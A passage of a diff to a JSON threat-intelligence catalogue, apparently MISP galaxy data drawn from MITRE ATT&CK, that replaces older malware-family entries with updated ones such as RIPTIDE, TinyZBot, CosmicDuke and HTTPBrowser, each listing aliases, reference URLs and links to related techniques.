"e01be9c5-e763-4caf-aeb7-000b416aef67", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "CALENDAR" + "uuid": "72f54d66-675d-4587-9bd3-4ed09f9522e4", + "value": "Carbanak - S0030" }, { - "description": "BUBBLEWRAP is a full-featured, second-stage backdoor used by the admin@338 group. It is set to run when the system boots and includes functionality to check, upload, and register plug-ins that can further enhance its capabilities.[[Citation: FireEye admin@338]]\n\nAliases: BUBBLEWRAP, Backdoor.APT.FakeWinHTTPHelper", + "description": "[RIPTIDE](https://attack.mitre.org/software/S0003) is a proxy-aware backdoor used by [APT12](https://attack.mitre.org/groups/G0005). (Citation: Moran 2014)", "meta": { + "external_id": "S0003", + "mitre_platforms": [ + "Windows" + ], "refs": [ - "https://attack.mitre.org/wiki/Software/S0043", - "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + "https://attack.mitre.org/software/S0003", + "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html" ], "synonyms": [ - "BUBBLEWRAP", - "Backdoor.APT.FakeWinHTTPHelper" - ], - "uuid": "123bd7b3-675c-4b1a-8482-c55782b20e2b" - }, - "value": "BUBBLEWRAP" - }, - { - "description": "BBSRAT is malware with remote access tool functionality that has been used in targeted compromises.[[Citation: Palo Alto Networks BBSRAT]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0127", - "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/" - ], - "uuid": "64d76fa5-cf8f-469c-b78c-1a4f7c5bad80" + "RIPTIDE" + ] }, "related": [ { - "dest-uuid": "cad1d6db-3a6c-4d67-8f6e-627d8a168d6a", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "BBSRAT" - }, - { - "description": "BLACKCOFFEE is malware that has been used by APT17 since at least 2013.[[Citation: FireEye APT17]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0069", - "https://www2.fireeye.com/rs/fireye/images/APT17%20Report.pdf" - ], - "uuid": "d69c8146-ab35-4d50-8382-6fc80e641d43" - }, - "value": "BLACKCOFFEE" - }, - { - "description": "BADNEWS is malware that has been used by the actors responsible for the MONSOON campaign. Its name was given due to its use of RSS feeds, forums, and blogs for command and control.[[Citation: Forcepoint Monsoon]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0128", - "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" - ], - "uuid": "e9595678-d269-469e-ae6b-75e49259de63" - }, - "value": "BADNEWS" - }, - { - "description": "OLDBAIT is a credential harvester used by APT28.[[Citation: FireEye APT28]][[Citation: FireEye APT28 January 2017]]\n\nAliases: OLDBAIT, Sasfis", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0138", - "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" - ], - "synonyms": [ - "OLDBAIT", - "Sasfis" - ], - "uuid": "2dd34b01-6110-4aac-835d-b5e7b936b0be" - }, - "related": [ - { - "dest-uuid": "6d1e2736-d363-49aa-9054-9c9e4ac0c520", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "OLDBAIT" - }, - { - "description": "BOOTRASH is a Bootkit that targets Windows operating systems. It has been used by threat actors that target the financial sector.[[Citation: MTrends 2016]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0114", - "https://www.fireeye.com/content/dam/fireeye-www/regional/fr%20FR/offers/pdfs/ig-mtrends-2016.pdf" - ], - "uuid": "da2ef4a9-7cbe-400a-a379-e2f230f28db3" - }, - "value": "BOOTRASH" - }, - { - "description": "LOWBALL is malware used by admin@338. It was used in August 2015 in email messages targeting Hong Kong-based media organizations.[[Citation: FireEye admin@338]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0042", - "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" - ], - "uuid": "2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b" - }, - "value": "LOWBALL" - }, - { - "description": "SPACESHIP is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps.[[Citation: FireEye APT30]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0035", - "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" - ], - "uuid": "8b880b41-5139-4807-baa9-309690218719" - }, - "value": "SPACESHIP" - }, - { - "description": "ComRAT is a remote access tool suspected of being a decedent of Agent.btz and used by Turla.[[Citation: Symantec Waterbug]][[Citation: NorthSec 2015 GData Uroburos Tools]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0126", - "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/waterbug-attack-group.pdf", - "https://www.nsec.io/wp-content/uploads/2015/05/uroburos-actors-tools-1.1.pdf" - ], - "uuid": "da5880b4-f7da-4869-85f2-e0aba84b8565" - }, - "related": [ - { - "dest-uuid": "9223bf17-7e32-4833-9574-9ffd8c929765", + "dest-uuid": "91583583-95c0-444e-8175-483cbebc640b", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" }, { - "dest-uuid": "d9cc15f7-0880-4ae4-8df4-87c58338d6b8", + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" + "type": "uses" }, { - "dest-uuid": "da079741-05e6-458c-b434-011263dc691c", + "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" - } - ], - "value": "ComRAT" - }, - { - "description": "ADVSTORESHELL is a spying backdoor that has been used by APT28 from at least 2012 to 2016. It is generally used for long-term espionage and is deployed on targets deemed interesting after a reconnaissance phase.[[Citation: Kaspersky Sofacy]][[Citation: ESET Sednit Part 2]]\n\nAliases: ADVSTORESHELL, NETUI, EVILTOSS, AZZY, Sedreco", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0045", - "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf", - "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/" - ], - "synonyms": [ - "ADVSTORESHELL", - "NETUI", - "EVILTOSS", - "AZZY", - "Sedreco" - ], - "uuid": "fb575479-14ef-41e9-bfab-0b7cf10bec73" - }, - "related": [ - { - "dest-uuid": "6374fc53-9a0d-41ba-b9cf-2a9765d69fbb", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" + "type": "uses" }, { - "dest-uuid": "21ab9e14-602a-4a76-a308-dbf5d6a91d75", + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" + "type": "uses" } ], - "value": "ADVSTORESHELL" + "uuid": "ad4f146f-e3ec-444a-ba71-24bffd7f0f8e", + "value": "RIPTIDE - S0003" }, { - "description": "FLASHFLOOD is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps.[[Citation: FireEye APT30]]", + "description": "[TinyZBot](https://attack.mitre.org/software/S0004) is a bot written in C# that was developed by [Cleaver](https://attack.mitre.org/groups/G0003). (Citation: Cylance Cleaver)", "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0036", - "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + "external_id": "S0004", + "mitre_platforms": [ + "Windows" ], - "uuid": "43213480-78f7-4fb3-976f-d48f5f6a4c2a" - }, - "value": "FLASHFLOOD" - }, - { - "description": "NETEAGLE is a backdoor developed by APT30 with compile dates as early as 2008. It has two main variants known as “Scout” and “Norton.”[[Citation: FireEye APT30]]", - "meta": { "refs": [ - "https://attack.mitre.org/wiki/Software/S0034", - "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" - ], - "uuid": "53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2" - }, - "related": [ - { - "dest-uuid": "3bb8052e-8ed2-48e3-a2cf-7358bae8c6b5", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "NETEAGLE" - }, - { - "description": "TEXTMATE is a second-stage PowerShell backdoor that is memory-resident. It was observed being used along with POWERSOURCE in February 2017.[[Citation: FireEye FIN7 March 2017]]\n\nAliases: TEXTMATE, DNSMessenger", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0146", - "https://www.fireeye.com/blog/threat-research/2017/03/fin7%20spear%20phishing.html" + "https://attack.mitre.org/software/S0004", + "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" ], "synonyms": [ - "TEXTMATE", - "DNSMessenger" - ], - "uuid": "4f6aa78c-c3d4-4883-9840-96ca2f5d6d47" - }, - "related": [ - { - "dest-uuid": "ee8ccb36-2596-43a3-a044-b8721dbeb2ab", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "17e919aa-4a49-445c-b103-dbb8df9e7351", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "b376580e-aba1-4ac9-9c2d-2df429efecf6", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "TEXTMATE" - }, - { - "description": "SHIPSHAPE is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps.[[Citation: FireEye APT30]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0028", - "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" - ], - "uuid": "b1de6916-7a22-4460-8d26-6b5483ffaa2a" - }, - "value": "SHIPSHAPE" - }, - { - "description": "PHOREAL is a signature backdoor used by APT32.[[Citation: FireEye APT32 May 2017]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0158", - "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" - ], - "uuid": "f9c6da03-8cb1-4383-9d52-a614c42082bf" - }, - "related": [ - { - "dest-uuid": "f6ae7a52-f3b6-4525-9daf-640c083f006e", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "PHOREAL" - }, - { - "description": "HAMMERTOSS is a backdoor that was used by APT29 in 2015.[[Citation: FireEye APT29]][[Citation: F-Secure The Dukes]]\n\nAliases: HAMMERTOSS, HammerDuke, NetDuke", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0037", - "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf", - "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf" - ], - "synonyms": [ - "HAMMERTOSS", - "HammerDuke", - "NetDuke" - ], - "uuid": "2daa14d6-cbf3-4308-bb8e-213c324a08e4" - }, - "value": "HAMMERTOSS" - }, - { - "description": "RARSTONE is malware used by the Naikon group that has some characteristics similar to PlugX.[[Citation: Aquino RARSTONE]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0055", - "http://blog.trendmicro.com/trendlabs-security-intelligence/rarstone-found-in-targeted-attacks/" - ], - "uuid": "8c553311-0baa-4146-997a-f79acef3d831" - }, - "related": [ - { - "dest-uuid": "5d2dd6ad-6bb2-45d3-b295-e125d3399c8d", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "RARSTONE" - }, - { - "description": "GLOOXMAIL is malware used by APT1 that mimics legitimate Jabber/XMPP traffic.[[Citation: Mandiant APT1]]\n\nAliases: GLOOXMAIL, Trojan.GTALK", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0026", - "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" - ], - "synonyms": [ - "GLOOXMAIL", - "Trojan.GTALK" - ], - "uuid": "f2e8c7a1-cae1-45c4-baf0-6f21bdcbb2c2" - }, - "related": [ - { - "dest-uuid": "a379f09b-5cec-4bdb-9735-125cef2de073", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "GLOOXMAIL" - }, - { - "description": "AutoIt is a backdoor that has been used by the actors responsible for the MONSOON campaign. The actors frequently used it in weaponized .pps files exploiting CVE-2014-6352.[[Citation: Forcepoint Monsoon]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0129", - "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" - ], - "uuid": "f5352566-1a64-49ac-8f7f-97e1d1a03300" - }, - "value": "AutoIt" - }, - { - "description": "is a trojan that has been used by APT28 on OS X and appears to be a port of their standard CHOPSTICK or XAgent trojan.[[Citation: XAgentOSX]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0161", - "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/" - ], - "uuid": "5930509b-7793-4db9-bdfc-4edda7709d0d" - }, - "related": [ - { - "dest-uuid": "59a97b15-8189-4d51-9404-e1ce8ea4a069", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "XAgentOSX" - }, - { - "description": "OwaAuth is a Web shell and credential stealer deployed to Microsoft Exchange servers that appears to be exclusively used by Threat Group-3390.[[Citation: Dell TG-3390]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0072", - "http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/" - ], - "uuid": "a60657fa-e2e7-4f8f-8128-a882534ae8c5" - }, - "value": "OwaAuth" - }, - { - "description": "ASPXSpy is a Web shell. It has been modified by Threat Group-3390 actors to create the ASPXTool version.[[Citation: Dell TG-3390]]\n\nAliases: ASPXSpy, ASPXTool", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0073", - "http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/" - ], - "synonyms": [ - "ASPXSpy", - "ASPXTool" - ], - "uuid": "56f46b17-8cfa-46c0-b501-dd52fef394e2" - }, - "value": "ASPXSpy" - }, - { - "description": "BISCUIT is a backdoor that has been used by APT1 since as early as 2007.[[Citation: Mandiant APT1]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0017", - "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" - ], - "uuid": "b8eb28e4-48a6-40ae-951a-328714f75eda" - }, - "related": [ - { - "dest-uuid": "f1e05a12-ca50-41ab-a963-d7df5bcb141d", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "BISCUIT" - }, - { - "description": "ROCKBOOT is a Bootkit that has been used by an unidentified, suspected China-based group.[[Citation: FireEye Bootkits]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0112", - "https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html" - ], - "uuid": "cba78a1c-186f-4112-9e6a-be1839f030f7" - }, - "value": "ROCKBOOT" - }, - { - "description": "SOUNDBITE is a signature backdoor used by APT32.[[Citation: FireEye APT32 May 2017]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0157", - "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" - ], - "uuid": "f5ac89a7-e129-43b7-bd68-e3cb1e5a3ba2" - }, - "related": [ - { - "dest-uuid": "9ca488bd-9587-48ef-b923-1743523e63b2", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "f4cac204-3d3f-4bb6-84bd-fc27b2f5158c", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "SOUNDBITE" - }, - { - "description": "BlackEnergy is a malware toolkit that has been used by both criminal and APT actors. It dates back to at least 2007 and was originally designed to create botnets for use in conducting Distributed Denial of Service (DDoS) attacks, but its use has evolved to support various plug-ins. It is well known for being used during the confrontation between Georgia and Russia in 2008, as well as in targeting Ukrainian institutions. Variants include BlackEnergy 2 and BlackEnergy 3.[[Citation: F-Secure BlackEnergy 2014]]\n\nAliases: BlackEnergy, Black Energy", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0089", - "https://www.f-secure.com/documents/996508/1030745/blackenergy%20whitepaper.pdf" - ], - "synonyms": [ - "BlackEnergy", - "Black Energy" - ], - "uuid": "54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4" - }, - "related": [ - { - "dest-uuid": "5a22cad7-65fa-4b7a-a7aa-7915a6101efa", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "82c644ab-550a-4a83-9b35-d545f4719069", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "BlackEnergy" - }, - { - "description": "HTTPBrowser is malware that has been used by several threat groups.[[Citation: ThreatStream Evasion Analysis]][[Citation: Dell TG-3390]] It is believed to be of Chinese origin.[[Citation: ThreatConnect Anthem]]\n\nAliases: HTTPBrowser, Token Control, HttpDump", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0070", - "https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop", - "http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/", - "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/" - ], - "synonyms": [ - "HTTPBrowser", - "Token Control", - "HttpDump" - ], - "uuid": "e066bf86-9cfb-407a-9d25-26fd5d91e360" - }, - "related": [ - { - "dest-uuid": "08e2c9ef-aa62-429f-a6e5-e901ff6883cd", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "HTTPBrowser" - }, - { - "description": "USBStealer is malware that has used by APT28 since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with ADVSTORESHELL.[[Citation: ESET Sednit USBStealer 2014]][[Citation: Kaspersky Sofacy]]\n\nAliases: USBStealer, USB Stealer, Win32/USBStealer", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0136", - "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/", - "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/" - ], - "synonyms": [ - "USBStealer", - "USB Stealer", - "Win32/USBStealer" - ], - "uuid": "af2ad3b7-ab6a-4807-91fd-51bcaff9acbb" - }, - "related": [ - { - "dest-uuid": "44909efb-7cd3-42e3-b225-9f3e96b5f362", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "USBStealer" - }, - { - "description": "TinyZBot is a bot written in C# that was developed by Cleaver.[[Citation: Cylance Cleaver]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0004", - "http://www.cylance.com/assets/Cleaver/Cylance%20Operation%20Cleaver%20Report.pdf" - ], - "uuid": "c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9" + "TinyZBot" + ] }, "related": [ { @@ -1011,18 +2807,2787 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" + }, + { + "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "30973a08-aed9-4edf-8604-9084ce1b5c4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "TinyZBot" + "uuid": "c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9", + "value": "TinyZBot - S0004" }, { - "description": "CHOPSTICK is malware family of modular backdoors used by APT28. It has been used from at least November 2012 to August 2016 and is usually dropped on victims as second-stage malware, though it has been used as first-stage malware in several cases.[[Citation: FireEye APT28]][[Citation: ESET Sednit Part 2]][[Citation: FireEye APT28 January 2017]]\n\nAliases: CHOPSTICK, SPLM, Xagent, X-Agent, webhp", + "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2010 to 2015. (Citation: F-Secure The Dukes)", "meta": { + "external_id": "S0050", + "mitre_platforms": [ + "Windows" + ], "refs": [ - "https://attack.mitre.org/wiki/Software/S0023", - "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf", + "https://attack.mitre.org/software/S0050", + "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + ], + "synonyms": [ + "CosmicDuke", + "TinyBaron", + "BotgenStudios", + "NemesisGemina" + ] + }, + "related": [ + { + "dest-uuid": "ae676644-d2d2-41b7-af7e-9bed1b55898c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1b7ba276-eedc-4951-a762-0ceea2c030ec", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "774a3188-6ba9-4dc4-879d-d54ee48a5ce9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "30973a08-aed9-4edf-8604-9084ce1b5c4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "2eb9b131-d333-4a48-9eb4-d8dec46c19ee", + "value": "CosmicDuke - S0050" + }, + { + "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070) is malware that has been used by several threat groups. (Citation: ThreatStream Evasion Analysis) (Citation: Dell TG-3390) It is believed to be of Chinese origin. (Citation: ThreatConnect Anthem)", + "meta": { + "external_id": "S0070", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0070", + "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage", + "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/", + "https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop" + ], + "synonyms": [ + "HTTPBrowser", + "Token Control", + "HttpDump" + ] + }, + "related": [ + { + "dest-uuid": "08e2c9ef-aa62-429f-a6e5-e901ff6883cd", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b2001907-166b-4d71-bb3c-9d26c871de09", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "46944654-fcc1-4f63-9dad-628102376586", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "e066bf86-9cfb-407a-9d25-26fd5d91e360", + "value": "HTTPBrowser - S0070" + }, + { + "description": "[Mivast](https://attack.mitre.org/software/S0080) is a backdoor that has been used by [Deep Panda](https://attack.mitre.org/groups/G0009). It was reportedly used in the Anthem breach. (Citation: Symantec Black Vine)", + "meta": { + "external_id": "S0080", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0080", + "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-black-vine-cyberespionage-group.pdf", + "http://www.symantec.com/security_response/writeup.jsp?docid=2015-020623-0740-99&tabid=2" + ], + "synonyms": [ + "Mivast" + ] + }, + "related": [ + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + 